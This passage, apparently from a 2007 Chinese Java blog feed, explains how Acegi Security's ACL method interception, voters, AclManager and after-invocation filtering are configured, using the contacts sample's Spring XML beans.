#0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">ref&nbsp;</span><span style="COLOR: #ff0000">local</span><span style="COLOR: #0000ff">="org.acegisecurity.acl.basic.SimpleAclEntry.ADMINISTRATION"</span><span style="COLOR: #0000ff">/&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">ref&nbsp;</span><span style="COLOR: #ff0000">local</span><span style="COLOR: #0000ff">="org.acegisecurity.acl.basic.SimpleAclEntry.READ"</span><span style="COLOR: #0000ff">/&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">list</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">property</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">bean</span><span style="COLOR: #0000ff">&gt;</span></div>
<br><font color=#000000>afterAclCollectionRead会在拦截的方法执行结束的时候执行。主要的作用就是在返回的List中挨个检查domainObject的操作权限，然后根据requirePermission来剔除不符合的domainObject。</font> 
<img src ="http://www.blogjava.net/junky/aggbug/127816.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-07-03 13:11 <a href="http://www.blogjava.net/junky/archive/2007/07/03/127816.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Acegi ACL使用说明</title><link>http://www.blogjava.net/junky/archive/2007/07/03/127764.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Tue, 03 Jul 2007 02:39:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/07/03/127764.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/127764.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/07/03/127764.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/127764.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/127764.html</trackback:ping><description><![CDATA[本文假设你对Acegi其他部分已经比较熟悉。Acegi 的ACL控制是建立在对相应业务方法拦截的基础上的。这里以Acegi自带的contacts例子来说明。<strong><br>先看看总的配置</strong>：<br>
<div style="BORDER-RIGHT: rgb(204,204,204) 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: rgb(204,204,204) 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: rgb(204,204,204) 1px solid; WIDTH: 98%; PADDING-TOP: 4px; BORDER-BOTTOM: rgb(204,204,204) 1px solid; BACKGROUND-COLOR: rgb(238,238,238)"><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">bean </span><span style="COLOR: rgb(255,0,0)">id</span><span style="COLOR: rgb(0,0,255)">="contactManagerSecurity"</span><span style="COLOR: rgb(255,0,0)"> class</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.intercept.method.aopalliance.MethodSecurityInterceptor"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="authenticationManager"</span><span style="COLOR: rgb(0,0,255)">&gt;&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">bean</span><span style="COLOR: rgb(0,0,255)">="authenticationManager"</span><span style="COLOR: rgb(0,0,255)">/&gt;&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="accessDecisionManager"</span><span style="COLOR: rgb(0,0,255)">&gt;&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="businessAccessDecisionManager"</span><span style="COLOR: rgb(0,0,255)">/&gt;&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="afterInvocationManager"</span><span style="COLOR: rgb(0,0,255)">&gt;&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="afterInvocationManager"</span><span style="COLOR: rgb(0,0,255)">/&gt;&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="objectDefinitionSource"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">value</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sample.contact.ContactManager.getAll=AFTER_ACL_COLLECTION_READ<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sample.contact.ContactManager.getById=AFTER_ACL_READ<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sample.contact.ContactManager.delete=ACL_CONTACT_DELETE<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sample.contact.ContactManager.deletePermission=ACL_CONTACT_ADMIN<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sample.contact.ContactManager.addPermission=ACL_CONTACT_ADMIN<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">value</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">bean</span><span style="COLOR: rgb(0,0,255)">&gt;</span></div>
该拦截器实现了org.aopalliance.intercept.MethodInterceptor接口。在方法被调用之前，拦截器会先调用 AuthenticationManager判断用户身份是否已验证，然后从objectDefinitionSource中获取方法所对应的权限，再调用AccessDecisionManager来匹配用户权限和方法对应的权限。如果用户没有足够权限调用当前方法，则抛出 AccessDeniedException使方法不能被调用。方法调用后会调用AfterInvocationManager对返回的结果进行再次处理。下面依次说明。<br><strong>AccessDecisionManager的配置</strong>：<br>
<div style="BORDER-RIGHT: rgb(204,204,204) 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: rgb(204,204,204) 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: rgb(204,204,204) 1px solid; WIDTH: 98%; PADDING-TOP: 4px; BORDER-BOTTOM: rgb(204,204,204) 1px solid; BACKGROUND-COLOR: rgb(238,238,238)"><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">bean </span><span style="COLOR: rgb(255,0,0)">id</span><span style="COLOR: rgb(0,0,255)">="businessAccessDecisionManager"</span><span style="COLOR: rgb(255,0,0)"> class</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.vote.AffirmativeBased"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="allowIfAllAbstainDecisions"</span><span style="COLOR: rgb(0,0,255)">&gt;&lt;</span><span style="COLOR: rgb(128,0,0)">value</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)">false</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">value</span><span style="COLOR: rgb(0,0,255)">&gt;&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="decisionVoters"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">list</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="roleVoter"</span><span style="COLOR: rgb(0,0,255)">/&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="aclContactReadVoter"</span><span style="COLOR: rgb(0,0,255)">/&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="aclContactDeleteVoter"</span><span style="COLOR: rgb(0,0,255)">/&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="aclContactAdminVoter"</span><span style="COLOR: rgb(0,0,255)">/&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">list</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">bean</span><span style="COLOR: rgb(0,0,255)">&gt;</span></div>
AccessDecisionManager 接口有decide()和support()方法。decide()方法决策是否批准通过即方法是否容许调用，如果没抛出 AccessDeniedException则为允许访问资源，否则拒绝访问。support()方法是根据配置属性和受保护资源的类来判断是否需要对该资源作出决策判断。<br>AccessDecisionManager的 decisionVoters属性需要一个或多个Voter(投票者)，Voter必须实现AccessDecisionVoter 接口。Voter的工作是去匹配用户已拥有的权限和受保护的资源要求的权限，在该资源有相应权限的情况下，如果匹配则投允许票，否则投反对票。 <br>allowIfAllAbstainDecisions属性表示是否允许所有都弃权时就通过。Voter的实现类RoleVoter在当受保护资源的名字由ROLE_开始时才参与投票。<br>AccessDecisionManager有三个实现类，功能各不相同:<br>AffirmativeBased: 当至少有一个Voter投允许票时才通过<br>UnanimousBased: 没有Voter投反对票时才通过<br>ConsensusBased: 当所有Voter都投允许票时才通过<br><strong>下面列出一个Voter的配置</strong>：<br>
<div style="BORDER-RIGHT: rgb(204,204,204) 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: rgb(204,204,204) 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: rgb(204,204,204) 1px solid; WIDTH: 98%; PADDING-TOP: 4px; BORDER-BOTTOM: rgb(204,204,204) 1px solid; BACKGROUND-COLOR: rgb(238,238,238)"><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">bean </span><span style="COLOR: rgb(255,0,0)">id</span><span style="COLOR: rgb(0,0,255)">="aclContactDeleteVoter"</span><span style="COLOR: rgb(255,0,0)"> class</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.vote.BasicAclEntryVoter"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="processConfigAttribute"</span><span style="COLOR: rgb(0,0,255)">&gt;&lt;</span><span style="COLOR: rgb(128,0,0)">value</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)">ACL_CONTACT_DELETE</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">value</span><span style="COLOR: rgb(0,0,255)">&gt;&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="processDomainObjectClass"</span><span style="COLOR: rgb(0,0,255)">&gt;&lt;</span><span style="COLOR: rgb(128,0,0)">value</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)">sample.contact.Contact</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">value</span><span style="COLOR: rgb(0,0,255)">&gt;&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="aclManager"</span><span style="COLOR: rgb(0,0,255)">&gt;&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="aclManager"</span><span style="COLOR: rgb(0,0,255)">/&gt;&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="requirePermission"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">list</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.acl.basic.SimpleAclEntry.ADMINISTRATION"</span><span style="COLOR: rgb(0,0,255)">/&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.acl.basic.SimpleAclEntry.DELETE"</span><span style="COLOR: rgb(0,0,255)">/&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">list</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">bean</span><span style="COLOR: rgb(0,0,255)">&gt;</span></div>
上面第一个配置里有这么一行：sample.contact.ContactManager.delete=ACL_CONTACT_DELETE<br>所以在调用sample.contact.ContactManager.delete这个方法时aclContactDeleteVoter会参与投票，它会获得sample.contact.Contact这个对象（这个对象从delete方法的参数中获得），然后通过aclManager去获得当前用户对该Contact实例的ACL权限，最后拿这个权限与我们需要的权限比对，我们配置需要的权限是 org.acegisecurity.acl.basic.SimpleAclEntry.ADMINISTRATION和 org.acegisecurity.acl.basic.SimpleAclEntry.DELETE。如果我们通过aclManager获得的权限包括这两个配置的权限之一，Voter就投容许票，方法容许调用。如果不包括，那对不起，反对票，AccessDecisionManager就会抛出 AccessDeniedException。方法拒绝调用。<br><strong>AclManager的配置</strong>：<br>
<div style="BORDER-RIGHT: rgb(204,204,204) 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: rgb(204,204,204) 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: rgb(204,204,204) 1px solid; WIDTH: 98%; PADDING-TOP: 4px; BORDER-BOTTOM: rgb(204,204,204) 1px solid; BACKGROUND-COLOR: rgb(238,238,238)"><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">bean </span><span style="COLOR: rgb(255,0,0)">id</span><span style="COLOR: rgb(0,0,255)">="aclManager"</span><span style="COLOR: rgb(255,0,0)"> class</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.acl.AclProviderManager"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="providers"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">list</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="basicAclProvider"</span><span style="COLOR: rgb(0,0,255)">/&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">list</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">bean</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br><br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">bean </span><span style="COLOR: rgb(255,0,0)">id</span><span style="COLOR: rgb(0,0,255)">="basicAclProvider"</span><span style="COLOR: rgb(255,0,0)"> class</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.acl.basic.BasicAclProvider"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="basicAclDao"</span><span style="COLOR: rgb(0,0,255)">&gt;&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="basicAclExtendedDao"</span><span style="COLOR: rgb(0,0,255)">/&gt;&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">bean</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br><br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">bean </span><span style="COLOR: rgb(255,0,0)">id</span><span style="COLOR: rgb(0,0,255)">="basicAclExtendedDao"</span><span style="COLOR: rgb(255,0,0)"> class</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.acl.basic.jdbc.JdbcExtendedDaoImpl"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="dataSource"</span><span style="COLOR: rgb(0,0,255)">&gt;&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">bean</span><span style="COLOR: rgb(0,0,255)">="dataSource"</span><span style="COLOR: rgb(0,0,255)">/&gt;&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">bean</span><span style="COLOR: rgb(0,0,255)">&gt;</span></div>
AclManager是整个ACL中一个很核心的概念，它包含了两个方法AclEntry[] getAcls(Object domainInstance)和<br>AclEntry[] getAcls(Object domainInstance, Authentication authentication)。在了解这两个方法前，我们先了解AclEntry这个对象。AclEntry只是一个接口，系统中一般都是造型为 BasicAclEntry。它包括了这个Entry所保护的domainObject instance（这里是Contact），实际它实现上是以AclObjectIdentity来替代这个domainObject的（domainClass+domainObjectId）；它包括了谁（Recipient）拥有这个domainObject instance以及他所对这个domainObject instance的操作权限（mask）。<br>一个domainObject instance对应了多个AclEntry，比如一条通讯录张三可以查看，而李四可以管理，一个Contact instance就对应了两个AclEntry，第一个AclEntry包含信息：所保护的domainObject（Contact）,谁（张三），权限（查看）;第二个AclEntry包含信息：所保护的domainObject（Contact）,谁（李四），权限（管理）。<br>这样AclManager的两个方法就很好理解了getAcls(Object domainInstance)返回所有这个domainInstance所对应的权限信息，<br>getAcls(Object domainInstance, Authentication authentication)在第一个方法返回结果的基础上做了过滤，过滤出和authentication（当前用户）相关的权限信息。如果当前用户是张三，则返回与张三对应的记录。<br><br>这样Acegi就会拦截业务方法发挥相应的作用，但是在业务方法返回一个List或是单个 domainObject instance的时候，同样也是需要把用户没有权限查看的domainObject instance过滤掉的，这时就要用afterInvocationManager了，<strong>看配置</strong>：<br>
<div style="BORDER-RIGHT: rgb(204,204,204) 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: rgb(204,204,204) 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: rgb(204,204,204) 1px solid; WIDTH: 98%; PADDING-TOP: 4px; BORDER-BOTTOM: rgb(204,204,204) 1px solid; BACKGROUND-COLOR: rgb(238,238,238)"><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">bean </span><span style="COLOR: rgb(255,0,0)">id</span><span style="COLOR: rgb(0,0,255)">="afterInvocationManager"</span><span style="COLOR: rgb(255,0,0)"> class</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.afterinvocation.AfterInvocationProviderManager"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="providers"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: 